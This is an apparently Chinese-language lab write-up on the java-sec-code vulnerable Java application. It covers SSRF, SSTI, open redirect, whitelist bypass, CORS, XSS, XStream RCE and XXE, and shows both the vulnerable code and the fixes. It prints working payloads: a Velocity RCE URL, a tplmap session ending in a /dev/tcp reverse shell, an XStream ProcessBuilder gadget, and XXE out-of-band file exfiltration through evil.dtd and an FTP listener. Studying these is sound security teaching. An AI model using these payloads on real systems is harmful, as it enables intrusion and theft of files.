final String var2 = this.getHeaderField("Location");
if(var2 == null) {
return false;
} else {
URL var3;
try {
// 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
var3 = new URL(var2);
/* 该行代码,表示传入的协议必须和重定向的协议一致
* 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
*/
if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
return false;
}
} catch (MalformedURLException var8) {
var3 = new URL(this.url, var2);
}

从上面的followRedirect方法可以看到:

  • 实际跳转的URL也在限制的协议内
  • 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。

所以,Java的SSRF利用方式比较局限:

  • 利用file协议任意文件读取
  • 利用http协议探测端口或攻击内网服务

4.DNS Rebinding

先了解下Java应用的TTL机制。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。

Java TTL的值可以通过下面三种方式进行修改:

  1. JVM添加启动参数-Dsun.net.inetaddr.ttl=0

  2. 通过代码进行修改

    java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
  3. 修改java.security里的networkaddress.cache.negative.ttl变量为0

5.总结

  • Java默认跟随重定向;
  • Java默认TTL为10;
  • 是否受DNS Rebinding影响取决于缓存;
  • 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
  • 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。

核心代码:

@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}

跟进URLConnectiong(url)

public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}

直接调用了URLConnection()方法 导致存在任意文件读

http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=file:///etc/passwd

image-20211027092620488

image-20211027092620488

修复代码如下:

@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {

// Decline not http/https protocol
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}

try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}

}

首先通过isHTTP()函数来看判断是否是http和https协议,之后调用钩子去调用SocketHookFactory,具体防护在SSRFChecker.java

package org.joychou.security.ssrf;

import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.net.util.SubnetUtils;
import org.joychou.config.WebConfig;
import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;


public class SSRFChecker {

private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);

public static boolean checkURLFckSSRF(String url) {
if (null == url) {
return false;
}

ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
try {
String host = SecurityUtil.gethost(url);

// 必须http/https
if (!SecurityUtil.isHttp(url)) {
return false;
}

if (ssrfSafeDomains.contains(host)) {
return true;
}
for (String ssrfSafeDomain : ssrfSafeDomains) {
if (host.endsWith("." + ssrfSafeDomain)) {
return true;
}
}
} catch (Exception e) {
logger.error(e.toString());
return false;
}
return false;
}

/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
* 该修复方案会主动请求重定向后的链接。
*
* @param url check的url
* @param checkTimes 设置重定向检测的最大次数,建议设置为10次
* @return 安全返回true,危险返回false
*/
public static boolean checkSSRF(String url, int checkTimes) {

HttpURLConnection connection;
int connectTime = 5 * 1000; // 设置连接超时时间5s
int i = 1;
String finalUrl = url;
try {
do {
// 判断当前请求的URL是否是内网ip
if (isInternalIpByUrl(finalUrl)) {
logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
return false; // 内网ip直接return,非内网ip继续判断是否有重定向
}

connection = (HttpURLConnection) new URL(finalUrl).openConnection();
connection.setInstanceFollowRedirects(false);
connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
connection.setConnectTimeout(connectTime);
//connection.setRequestMethod("GET");
connection.connect(); // send dns request
int responseCode = connection.getResponseCode(); // 发起网络请求
if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
String redirectedUrl = connection.getHeaderField("Location");
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
i += 1; // 重定向次数加1
logger.info("redirected url: " + finalUrl);
if (i == checkTimes) {
return false;
}
} else
break;
} while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
connection.disconnect();
} catch (Exception e) {
return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。
}
return true; // 默认返回true
}


/**
* 判断一个URL的IP是否是内网IP
*
* @return 如果是内网IP,返回true;非内网IP,返回false。
*/
public static boolean isInternalIpByUrl(String url) {

String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
}

String ip = host2ip(host);
if (ip.equals("")) {
return true; // 如果域名转换为IP异常,则认为是非法URL
}

return isInternalIp(ip);
}


/**
* 使用SubnetUtils库判断ip是否在内网网段
*
* @param strIP ip字符串
* @return 如果是内网ip,返回true,否则返回false。
*/
static boolean isInternalIp(String strIP) {
if (StringUtils.isEmpty(strIP)) {
logger.error("[-] SSRF check failed. IP is empty. " + strIP);
return true;
}

ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();
for (String subnet : blackSubnets) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
logger.error("[-] SSRF check failed. Internal IP: " + strIP);
return true;
}
}

return false;

}

/**
* host转换为IP
* 会将各种进制的ip转为正常ip
* 167772161转换为10.0.0.1
* 127.0.0.1.xip.io转换为127.0.0.1
*
* @param host 域名host
*/
private static String host2ip(String host) {
try {
InetAddress IpAddress = InetAddress.getByName(host); // send dns request
return IpAddress.getHostAddress();
} catch (Exception e) {
return "";
}
}

/**
* 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。
*
* @param url http的url
*/
private static String url2host(String url) {
try {
// 使用URI,而非URL,防止被绕过。
URI u = new URI(url);
if (SecurityUtil.isHttp(url)) {
return u.getHost();
}
return "";
} catch (Exception e) {
return "";
}
}

}

15.SSTI

ssti服务端模板注入,ssti主要为python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

核心代码:

@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");

StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}

访问URL:

http://192.168.137.16:8080/java_sec_code_war/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)

image-20211027143734728

image-20211027143734728

也可以使用https://github.com/epinna/tplmap来验证

git clone https://github.com/epinna/tplmap
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'
[+] Testing if GET parameter 'template' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Velocity plugin has confirmed blind injection
[+] Tplmap identified the following injection point:

GET parameter: template
Engine: Velocity
Injection: *
Context: text
OS: undetected
Technique: blind
Capabilities:

Shell command execution: ok (blind)
Bind and reverse shell: ok
File write: ok (blind)
File read: no
Code evaluation: no

[+] Blind injection has been found and command execution will not produce any output.
[+] Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.
[+] Run commands on the operating system.
(blind) $ id
True
(blind) $ whoami
True
(blind) $ bash -i >& /dev/tcp/reverse_ip/2333 0>&1

修复意见:

针对于不同的模板引擎,该漏洞的修复方法会有所不同,但如果在传递给模板指令之前,对用户输入进行安全过滤的话,则可以大大减少这类威胁。此外,另一种防御方法是使用沙箱环境,将危险的指令删除/禁用,或者对系统环境进行安全加固。

  1. 白头搔更短,SSTI惹人心

16.URLRedirect

url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼。

url跳转常见的地方

1. 登陆跳转我认为是最常见的跳转类型,认证完后会跳转,所以在登陆的时候建议多观察url参数
2. 用户分享、收藏内容过后,会跳转
3. 跨站点认证、授权后,会跳转
4. 站内点击其它网址链接时,会跳转
5. 在一些用户交互页面也会出现跳转,如请填写对客服评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。
6. 业务完成后跳转这可以归结为一类跳转,比如修改密码,修改完成后跳转登陆页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给定一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理VIP的页面。

url跳转常用到的参数

redirect
url
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
to
goto
link
linkto
domain
oauth_callback

核心代码:

重定向跳转:

@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}

301跳转:

@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}

302跳转:

@RequestMapping("/sendRedirect")
@ResponseBody
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}

修复方式:

只能内部跳转

@RequestMapping("/forward")
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
RequestDispatcher rd = request.getRequestDispatcher(url);
try {
rd.forward(request, response);
} catch (Exception e) {
e.printStackTrace();
}
}

通过checkURL去检查输入的参数

    @RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
}
}

跟进

/**
* 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal url returns null;
*/
public static String checkURL(String url) {

if (null == url){
return null;
}

ArrayList<String> safeDomains = WebConfig.getSafeDomains();
ArrayList<String> blockDomains = WebConfig.getBlockDomains();

try {
String host = gethost(url);

// 必须http/https
if (!isHttp(url)) {
return null;
}

// 如果满足黑名单返回null
if (blockDomains.contains(host)){
return null;
}
for(String blockDomain: blockDomains) {
if(host.endsWith("." + blockDomain)) {
return null;
}
}

// 支持多级域名
if (safeDomains.contains(host)){
return url;
}

// 支持一级域名
for(String safedomain: safeDomains) {
if(host.endsWith("." + safedomain)) {
return url;
}
}
return null;
} catch (NullPointerException e) {
logger.error(e.toString());
return null;
}
}

检测相关url是否在自己配置中,若不在则返回NULL

17.URLWhiteList

1.前言

安全工程师:接口需要验证参数中的URL是否是内部域名。
开发工程师:好的,没问题。

如果不使用已经写好的安全框架,真正让开发去添加一个URL白名单,我相信不少人会出现不同程度的安全问题。

所以,我觉得有必要单独拿出来简单说下这个问题。

2.可造成的漏洞

和URL有关系的漏洞,我们可以联想到包括但不局限于下面的漏洞

  • CSRF
  • JSONP
  • SSRF
  • URL跳转
  • 绕过CORS(跨域资源分享)

3.Bypass Poc及实际案例

先来看一下应该如何安全验证:

先来看下应该如何安全验证:

  • 取一级域名
  • 判断一级域名是否在白名单里

但是,在实际的甲方安全中,很多开发者会犯以下的一些错误。

1.endsWith

Bypass Poc:

bypassjoychou.com

案例:
飞猪做referer校验的时候,全站存在referer校验bypass问题,导致全站存在Json Hijack等漏洞,可以拿到飞猪的开房记录等信息。目前漏洞已经修复。

绕过的poc

Referer: https://www.joychoualitrip.com/mytrip/

针对JSONP,这里提一个比较有趣的问题。有的接口返回是JSON,非JSONP的格式,但是由于开发者写了一个callback参数(但是流量里并未出现)。所以在自动动扫描漏洞时,扫描器可加上callback、cback等参数,可能会有意想不到的收获。

比如:http://www.alitrip.com/order?id=1返回JSON格式,所以并不存在JSON劫持。但是访问http://www.alitrip.com/order?id=1&callback=xxx可能就会返回JSONP格式,从而可能存在JSON劫持漏洞。

核心代码:

@GetMapping("/vuln/endsWith")
public String endsWith(@RequestParam("url") String url) {

String host = SecurityUtil.gethost(url);

for (String domain : domainwhitelist) {
if (host.endsWith(domain)) {
return "Good url.";
}
}
return "Bad url.";
}

访问

http://localhost:8080/java_sec_code_war/url/vuln/endsWith?url=http://aaajoychou.org

image-20211027151121258

image-20211027151121258

2.contains

取出一级域名。判断一级域名在白名单列表里使用contains判断

Bypass POC:

joychou.com.bypass.com
bypassjoychou.com

核心代码:

@GetMapping("/vuln/contains")
public String contains(@RequestParam("url") String url) {

String host = SecurityUtil.gethost(url);

for (String domain : domainwhitelist) {
if (host.contains(domain)) {
return "Good url.";
}
}
return "Bad url.";
}

访问

http://localhost:8080/java_sec_code_war/url/vuln/contains?url=http://joychou.org.bypass.com

image-20211027151454711

image-20211027151454711

3.statsWith

取出一级域名,判断一级域名在白名单列表里使用startsWith判断

Bypass Poc:

joychou.combypass

这种域名后缀虽然不存在,造成无法利用。但是在实际的测试中,确实发现某大公司是以这样的方式写的代码。所以说,如果没有规范,什么样的逻辑代码都能写出来。

4.正则表达式

用正则表达式去匹配URL中是否存在www.joychou.com字符串
Bypass Poc:

www.joychou.com.bypass.com

还有的URL接口验证是否是图片链接,但是验证的方式居然是用正则匹配是否以类似.800*600.结尾。

Bypass Poc:

www.joychou.com/_4528x2020.php

用正则判断host是否是域名

Bypass Poc:

10.10.10.10.xip.io

案例:
腾讯某域名诊断功能存在SSRF(目前该漏洞已经修复)。
该功能验证逻辑,首先判断host是否是域名。

所以我们可以利用xip.io进行Bypass。

核心代码:

@GetMapping("/vuln/regex")
public String regex(@RequestParam("url") String url) {

String host = SecurityUtil.gethost(url);
Pattern p = Pattern.compile("joychouorg");
Matcher m = p.matcher(host);

if (m.find()) {
return "Good url.";
} else {
return "Bad url.";
}
}

访问:

image-20211027151840814

image-20211027151840814

5.正则匹配URL是否以.joychou.com

正则为.*\\.joychou.com$的情况,之前的这两种xxx.xxxjoychou.comxxx.joychou.com.xxx都不能绕过了。

Bypass Poc:

www.baidu.com/?xxx.joychou.com

4.安全代码和测试环境

安全代码逻辑很简单:

  • 取一级域名
  • 判断一级域名是否在白名单里。

方法调用:

String[] urlwhitelist = {"joychou.com", "joychou.me"};
if (!UrlSecCheck(url, urlwhitelist)) {
return;
}

方法代码:

需要先添加guava库(目的是获取一级域名)

<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>21.0</version>
</dependency>
public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https的协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名,并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();

for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;

} catch (Exception e) {
return false;
}
}

核心代码:

@GetMapping("/sec")
public String sec(@RequestParam("url") String url) {

String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};

if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}

String host = SecurityUtil.gethost(url);

for (String whiteHost: whiteDomainlists){
if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
return url;
} else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
return url;
}
}

return "Bad url.";
}

@GetMapping("/sec/array_indexOf")
public String sec_array_indexOf(@RequestParam("url") String url) {

// Define muti-level host whitelist.
ArrayList<String> whiteDomainlists = new ArrayList<>();
whiteDomainlists.add("bbb.joychou.org");
whiteDomainlists.add("ccc.bbb.joychou.org");

if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}

String host = SecurityUtil.gethost(url);

if (whiteDomainlists.indexOf(host) != -1) {
return "Good url.";
}
return "Bad url.";
}

5.CORS绕过

先来看看Access-Control-Allow-Origin的使用。一般有两种方式设置该值:

  • 后端代码设置
  • Nginx等Web服务器设置

域名设置test.joychou.org如下,表示该域名只接受来自http://blacktech.com的请求。

add_header  Access-Control-Allow-Origin 'http://blacktech.com';

本地写一份请求test.joychou.org的代码,保存为1.html

<html>
test

<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>

<script>

$.ajax({
type: 'GET',
url: 'http://test.joychou.org',
success: function (data) {
alert(data);
console.log('Yeah! Load Success.');
},
error: function (error) {
alert('Oh,no! Load Failed.');
}

});

</script>
</html>

请求http://localhost/1.html报错如下:

Failed to load http://test.joychou.org/: The 'Access-Control-Allow-Origin' header has a value 'http://blacktech.com' that is not equal to the supplied origin. Origin 'http://localhost' is therefore not allowed access.

改下/etc/hosts,把 localhost 改成 blacktech.com,请求http://blacktech.com/1.html就不会报错了,而且能获取到
http://test.joychou.org 的返回内容It works.

我们来看看origin,这个值和Referer一样,前端不能设置,如果http://baidu.comhttp://test.joychou.org发起一个跨域请求,那么origin的值就为http://baidu.com

那么问题来了,如果Access-Control-Allow-Origin设置的域名能被绕过,那么用请求header里的origin绕即可。绕过后,就能获取接口的数据,和JSONP一样。

18.XSS

XSS作者提供了两种利用场景

核心代码:

@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
return xss;
}

访问:

http://localhost:8080/java_sec_code_war/xss/reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E

image-20211027153333287

image-20211027153333287

这里还展示一种将XSS语句带入cookie,然后在其他处调出造成XSS的可能性

@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}

@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}

依次访问:

http://localhost:8080/java_sec_code_war/xss/stored/store?xss=%3Cscript%3Ealert(1)%3C/script%3E
http://localhost:8080/java_sec_code_war/xss/stored/show

image-20211027153527388

image-20211027153527388

修复代码:

@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}

private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "&#x27;");
origin = StringUtils.replace(origin, "/", "/");
return origin;
}

将特殊字符进行转译

19.XStreamRCE

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

Xstream具有以下优点

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。
  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。
  • 性能 - XStream快速和低内存占用,适合于大对象图或系统。
  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。
  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。
  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。
  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
  • 另一种输出格式 - XStream支持其它的输出格式,如JSON。

核心代码:

    @PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(xml);
return "xstream";
}

public static void main(String[] args) {
User user = new User();
user.setId(0);
user.setUsername("admin");

XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(user); // Serialize
System.out.println(xml);

user = (User) xstream.fromXML(xml); // Deserialize
System.out.println(user.getId() + ": " + user.getUsername());
}
}

构造请求包如下

POST /java_sec_code_war/xstream HTTP/1.1
Host: test.ol4three.com:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7BBEAB4E7FC8E7B10575631B0CA5413C; XSRF-TOKEN=820fd620-2c78-424b-a852-93ca40553975; remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A
Connection: close
Content-Type: application/xml
Content-Length: 445

<sorted-set>
<string>foo</string>
<dynamic-proxy> <!-- -->
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

image-20211027154504421

image-20211027154504421

  1. CVE-2020-26217 | XStream远程代码执行漏洞
  2. 通过XStream对象反序列化的RCE
  3. Xstream 反序列化远程代码执行漏洞深入分析

20.XXE

XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。

核心代码:

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}

有回显的利用方式

输入对应的payload:

POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1
Host: test.ol4three.com:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A
Connection: close
Content-Type: application/xml
Content-Length: 167

<?xml version="1.0" encoding="UTF-8"?>
<book id="1">
<name>Good Job</name>
<author>ol4three</author>
<year>2021</year>
<price>100.00</price>
</book>

image-20211027163512520

image-20211027163512520

利用file协议读取文件:

POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1
Host: test.ol4three.com:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A
Connection: close
Content-Type: application/xml
Content-Length: 131

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///tmp/111.txt">
]>
<root>&xxe;</root>

image-20211027163556622

image-20211027163556622

在 XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

image-20211027164028767

image-20211027164028767

╰─$ cat 111.txt
ol4three
1111
~!@#%^%'">
2222
<%&

image-20211027164104470

image-20211027164104470

CDATA

CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。

CDATA 部分由"<![CDATA["开始,由"]]>"结束

简单一点的来说,将脚本代码定义为CDATA后,CDATA部分中的内容就会被解析器忽略,这个时候就可以读取文件了。

1.有回显

本地主机:CDATA Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///tmp/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://test.ol4three.com:800/evil.dtd"> %dtd;]>
<roottag>&all;</roottag>

本地主机:evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

但我在测试用CDATA,并没有读取<&成功

2.Bind 无回显

payloads:

  • 没有ENTITY关键字,可以用来Bypass WAF
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">
  • 有ENTITY关键字,可能会被WAF拦截
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.org/evil.dtd">%remote;]>
<root/>

evil.dtd代码:

<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://fakeuser:fakepass@test.joychou.org:2121/%payload;'>">
%int;
%trick;

或者将%payload;放在ftp的username或者password处。如果ftp不跟用户名或者密码ftp://test.joychou.org:2121/%payload;,利用FTP协议会接收到Java的版本。

New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp

FTP Server代码:

require 'socket'
server = TCPServer.new 2121
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end

测试的结果(Centos):

Java版本是否能读换行被截断的字符其他报错的字符(什么都不能读)被替换成换行的字符
1.7.0_80# ?% & ‘/
1.8.0_121# ?% & ‘/
